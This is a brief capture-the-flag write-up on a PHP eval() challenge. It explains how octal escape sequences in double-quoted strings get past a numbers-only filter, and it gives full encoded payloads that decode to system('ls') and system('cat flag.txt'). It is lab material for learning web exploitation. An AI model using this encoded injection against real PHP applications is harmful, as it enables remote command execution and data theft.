Tags: web php eval 

Rating:

The main idea was to try to find a way to inject some code only by numbers, doing some google-fu results in this[ stackoverflow thread](http://https://stackoverflow.com/questions/27468974/php-convert-an-octal-characters-to-string)

So basically, we can input octal characters inside double quoted string and this will decoded and executed by the eval(), noice!

Running some Octal encoding of “system”(“ls”); using CyberChef, will result : “\163\171\163\164\145\155”(“\154\163”); (I’ve replaced the “,(,; characters to reduce the payload size since they don’t get filtered).

Final payload: “\163\171\163\164\145\155”(“\143\141\164\040\146\154\141\147\056\164\170\164”);

Original writeup (https://seifallahhomrani1.github.io/SecureCalculator/).